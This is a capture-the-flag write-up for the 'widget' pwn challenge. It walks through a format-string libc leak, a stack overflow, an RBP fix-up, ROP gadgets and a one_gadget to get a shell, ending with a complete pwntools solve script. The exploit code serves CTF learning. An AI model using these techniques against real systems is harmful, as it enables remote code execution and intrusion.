I seem to have lost my gadgets.
nc challs.actf.co 31320
{% file src="../../../.gitbook/assets/Dockerfile" %}
{% file src="../../../.gitbook/assets/widget" %}
This solution is overcomplicated in order to get RCE.
There are simpler solutions that just jumps to win() to print the flag.
- Leak libc address with printf
- Return to main, caring for RBP value
- Perform ret2libc, using one_gadget for RCE
Decompiling the widget
binary in ghidra, there are 2 functions of interest, main
and win
.
{% tabs %} {% tab title="main()" %}
void main(void)
{
int local_2c;
char local_28 [24];
__gid_t local_10;
uint local_c;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
local_10 = getegid();
setresgid(local_10,local_10,local_10);
if (called != 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
called = 1;
printf("Amount: ");
local_2c = 0;
__isoc99_scanf("%d",&local_2c);
getchar();
if (local_2c < 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Contents: ");
read(0,local_28,(long)local_2c);
local_c = 0;
while( true ) {
if (local_2c <= (int)local_c) {
printf("Your input: ");
printf(local_28);
return;
}
if (local_28[(int)local_c] == 'n') break;
local_c = local_c + 1;
}
printf("bad %d\n",(ulong)local_c);
/* WARNING: Subroutine does not return */
exit(1);
}
{% endtab %}
{% tab title="win()" %}
void win(char *param_1,char *param_2)
{
int iVar1;
char local_98 [136];
FILE *local_10;
iVar1 = strncmp(param_1,"14571414c5d9fe9ed0698ef21065d8a6",0x20);
if (iVar1 != 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
iVar1 = strncmp(param_2,"willy_wonka_widget_factory",0x1a);
if (iVar1 != 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
puts("Error: missing flag.txt.");
/* WARNING: Subroutine does not return */
exit(1);
}
fgets(local_98,0x80,local_10);
puts(local_98);
return;
}
{% endtab %} {% endtabs %}
At first glance, we can determine that the author wants us to overwrite RIP to return to the win
function and find suitable gadgets to input the proper arguments into the win
function in order to print the flag.
Since there is a lack of gadgets, I instead, took the laborious approach of using libc
to gain RCE.
In the main
function, we can see there are 2 obvious vulnerabilities:
You can input any amount of characters into a buffer of 24 bytes.
void main(void)
{
int local_2c;
char local_28 [24];
__gid_t local_10;
uint local_c;
...
printf("Amount: ");
local_2c = 0;
__isoc99_scanf("%d",&local_2c);
getchar();
if (local_2c < 0) {
exit(1);
}
printf("Contents: ");
read(0,local_28,(long)local_2c);
...
}
The printf
function is performed on the user input, but it checks for the 'n' character.
This means that we can only leak the stack; we can't perform arbitrary write with printf
. (you can but you would have to overwrite the local_c
variable, that's another method that I will not go through)
void main(void)
{
int local_2c;
char local_28 [24];
__gid_t local_10;
uint local_c;
...
printf("Contents: ");
read(0,local_28,(long)local_2c);
local_c = 0;
while( true ) {
if (local_2c <= (int)local_c) {
printf("Your input: ");
printf(local_28);
return;
}
if (local_28[(int)local_c] == 'n') break;
local_c = local_c + 1;
}
printf("bad %d\n",(ulong)local_c);
exit(1);
}
We first create a template to work with the binary using pwntools.
#!/usr/bin/env python3
from pwn import *
import subprocess
def amount(m):
global p
p.sendlineafter(b'Amount: ',m)
def content(m):
global p
p.sendlineafter(b'Contents: ',m)
elf = context.binary = ELF("./widget_patched",checksec=False)
url,port = "challs.actf.co", 31320
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p)
payload = "test"
amount(str(len(payload)).encode()) # amount should always be equal to len(content)
content(payload)
p.interactive()
p.close()
Using gdb
, we can find that the offset to overwrite RIP is 40 bytes, so our RBP value is at 32 bytes (8 bytes for 64-bit binary).
We first need to find a helpful address to leak.
We can do this using gdb
, by setting a breakpoint at the ret
of main and sending the content as %<int>$p (where <int> is a positive integer).
For the initial leak, we want to find any value that we can distinguish on the stack, so we try different <int> until we get a suitable value.
break at ret
leaked value
stack values
As seen in the images, we sent %19$p and the return value is at the 0x6 offset on the stack.
We want a libc address and we see one at offset 0x14, so we can just calculate the offset we need to leak that address:
offset calculation
Trying for %33$p indeed returns the address we need.
leaked libc address
current code
#!/usr/bin/env python3
from pwn import *
import subprocess
def amount(m):
global p
p.sendlineafter(b'Amount: ',m)
def content(m):
global p
p.sendlineafter(b'Contents: ',m)
elf = context.binary = ELF("./widget",checksec=False)
url,port = "challs.actf.co", 31320
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p)
padding = b'A'*32
# first run
payload = b'%33$p|' # leaks libc
payload += b'A' * (32-len(payload))
payload += b'B'*8 # rbp here is needed
amount(str(len(payload)).encode()) # amount should always be equal to len(content)
content(payload)
p.recvuntil(b'Your input: ')
leak = p.recvuntil(b'|',drop=True).decode()
leak = int(leak,16)
print("Leaked:",hex(leak))
p.interactive()
p.close()
Now we have a libc leak, we need to return to main
so that we can overwrite RIP again. However, the called
global variable of the program is already set and checked at the start of main, so we can't just return to main
directly.
void main(void)
{
int local_2c;
char local_28 [24];
__gid_t local_10;
uint local_c;
...
if (called != 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
called = 1;
...
}
Looking at ghidra, we can try to return to after the called
is check and before Amount
is prompted. This is at address 0x4013e3 of the binary.
main() in ghidra
We can check if this works in our pwntools.
#!/usr/bin/env python3
from pwn import *
import subprocess
def amount(m):
global p
p.sendlineafter(b'Amount: ',m)
def content(m):
global p
p.sendlineafter(b'Contents: ',m)
elf = context.binary = ELF("./widget",checksec=False)
url,port = "challs.actf.co", 31320
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p)
padding = b'A'*32
# first run
payload = b'%33$p|' # leaks libc
payload += b'A' * (32-len(payload))
payload += b'B'*8 # rbp here is needed
payload += p64(0x004013e3) # goes back to Amount:, not main
amount(str(len(payload)).encode()) # amount should always be equal to len(content)
content(payload)
p.recvuntil(b'Your input: ')
leak = p.recvuntil(b'|',drop=True).decode()
leak = int(leak,16)
print("Leaked:",hex(leak))
p.interactive()
p.close()
running script
We see that we do indeed get back our "Amount: " prompt once again, but it hits an EOF, meaning there is probably an error with running the binary.
To find out what went wrong, we attach a gdb to the process:
gdb error
The process stops at 0x4013f7, at the mov dword ptr [rbp - 0x24], 0 instruction. This suggests that the RBP value might be the problem as we overwritten it with 'B's.
We can check that it is indeed the RBP problem by setting a breakpoint at the address with the problem (0x4013f7), then trying to view $rbp-0x24:
rbp error
Since we always have to overwrite RBP when we want to overwrite RIP, we have to overwrite RBP with a proper address.
I chose to overwrite RBP with the .bss section + 0x30 as it would mostly contain null bytes. (0x30 as the program stops at rbp-0x24)
I used Radare2 to get the bss section address and to check the size of the section.
binary sections
Now the program can run normally once more.
program running
current code
#!/usr/bin/env python3
from pwn import *
import subprocess
def amount(m):
global p
p.sendlineafter(b'Amount: ',m)
def content(m):
global p
p.sendlineafter(b'Contents: ',m)
elf = context.binary = ELF("./widget",checksec=False)
url,port = "challs.actf.co", 31320
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p)
padding = b'A'*32
bss = 0x00404010+0x30
# first run
payload = b'%33$p|' # leaks libc
payload += b'A' * (32-len(payload))
payload += p64(bss) # rbp here is needed
payload += p64(0x004013e3) # goes back to Amount:, not main
amount(str(len(payload)).encode()) # amount should always be equal to len(content)
content(payload)
p.recvuntil(b'Your input: ')
leak = p.recvuntil(b'|',drop=True).decode()
leak = int(leak,16)
print("Leaked:",hex(leak))
p.interactive()
p.close()
Now we have a leaked libc address, since our leaked address is the address of __libc_start_main + 128, we can find the libc that is being used with this info.
We find that the libc version is libc6_2.35-0ubuntu3_amd64
.
finding libc version
Now we patch our local binary with the new libc.
patching binary
And we can now do the usual, find one_gadget and make sure conditions for one_gadget are satisfied.
But first, we need to adjust our libc base address to align with the leaked libc address. I did this manually using gdb.
Attaching gdb to the process using pwntools, I let the program continue:
continue process
Then in gdb, i pressed Ctrl+C to stop the program, then run vmmap in gdb-pwndbg to find the libc base address:
vmmap
The address that is highlighted is our libc base address.
Together with the leaked address our program has leaked, we use the leaked address - libc base address and that is our offset (constant throughout different instances).
current code
#!/usr/bin/env python3
from pwn import *
import subprocess
def amount(m):
global p
p.sendlineafter(b'Amount: ',m)
def content(m):
global p
p.sendlineafter(b'Contents: ',m)
elf = context.binary = ELF("./widget_patched",checksec=False)
libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")
url,port = "challs.actf.co", 31320
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p)
padding = b'A'*32
bss = 0x00404010+0x30
# first run
payload = b'%33$p|' # leaks libc
payload += b'A' * (32-len(payload))
payload += p64(bss) # rbp here is needed
payload += p64(0x004013e3) # goes back to Amount:, not main
amount(str(len(payload)).encode()) # amount should always be equal to len(content)
content(payload)
p.recvuntil(b'Your input: ')
leak = p.recvuntil(b'|',drop=True).decode()
leak = int(leak,16)
offset = 0x155555313e40-0x1555552ea000
libc.address = leak-offset
print("Leaked:",hex(leak))
print("Libc base:",hex(libc.address))
p.interactive()
p.close()
Now we find the offsets of the one_gadgets in the libc.
one_gadgets
Any one_gadget is fine as long as the constraints are fulfilled. I chose the one that requires RSI and RDX to be null as they are usually short gadgets.
Then we have to find the appropriate gadgets to make RSI and RDX null. I just try to find suitable pop gadgets to make this work.
Running ROPgadget --binary libc6_2.35-0ubuntu3_amd64.so | grep "ret" | grep "pop rdx" returns a bunch of gadgets. I chose the one at 0x0000000000090529.
pop rdx gadgets
pop rsi gadgets
I chose the gadget at 0x000000000002be51.
current code
#!/usr/bin/env python3
from pwn import *
import subprocess
def amount(m):
global p
p.sendlineafter(b'Amount: ',m)
def content(m):
global p
p.sendlineafter(b'Contents: ',m)
elf = context.binary = ELF("./widget_patched",checksec=False)
libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")
url,port = "challs.actf.co", 31320
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p)
padding = b'A'*32
bss = 0x00404010+0x30
# first run
payload = b'%33$p|' # leaks libc
payload += b'A' * (32-len(payload))
payload += p64(bss) # rbp here is needed
payload += p64(0x004013e3) # goes back to Amount:, not main
amount(str(len(payload)).encode()) # amount should always be equal to len(content)
content(payload)
p.recvuntil(b'Your input: ')
leak = p.recvuntil(b'|',drop=True).decode()
leak = int(leak,16)
offset = 0x155555313e40-0x1555552ea000
libc.address = leak-offset
print("Leaked:",hex(leak))
print("Libc base:",hex(libc.address))
onegadget = libc.address + 0xebcf8
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_rbp = libc.address + 0x0000000000090529
# second run
payload = padding
payload += p64(bss) #rbp
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_rbp) + p64(0) + p64(0)
payload += p64(onegadget)
amount(str(len(payload)).encode())
content(payload)
p.interactive()
p.close()p
Running the code gives us another EOF error.
EOF error 2
If we use GDB with pwntools again, we see that it is the same RBP error as before. This time, the process is trying to access rbp-0x78.
instruction in GDB
We can just change our bss
value to +0x100 instead of +0x30. We now have a shell.
shell
{% tabs %} {% tab title="solve.py" %}
#!/usr/bin/env python3
from pwn import *
import subprocess
def amount(m):
global p
p.sendlineafter(b'Amount: ',m)
def content(m):
global p
p.sendlineafter(b'Contents: ',m)
elf = context.binary = ELF("./widget_patched",checksec=False)
libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")
url,port = "challs.actf.co", 31320
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p)
padding = b'A'*32
bss = 0x00404010+0x100
# first run
payload = b'%33$p|' # leaks libc
payload += b'A' * (32-len(payload))
payload += p64(bss) # rbp here is needed
payload += p64(0x004013e3) # goes back to Amount:, not main
amount(str(len(payload)).encode()) # amount should always be equal to len(content)
content(payload)
p.recvuntil(b'Your input: ')
leak = p.recvuntil(b'|',drop=True).decode()
leak = int(leak,16)
offset = 0x155555313e40-0x1555552ea000
libc.address = leak-offset
print("Leaked:",hex(leak))
print("Libc base:",hex(libc.address))
onegadget = libc.address + 0xebcf8
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_rbp = libc.address + 0x0000000000090529
# second run
payload = padding
payload += p64(bss) #rbp
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_rbp) + p64(0) + p64(0)
payload += p64(onegadget)
amount(str(len(payload)).encode())
content(payload)
p.interactive()
p.close()
{% endtab %} {% endtabs %}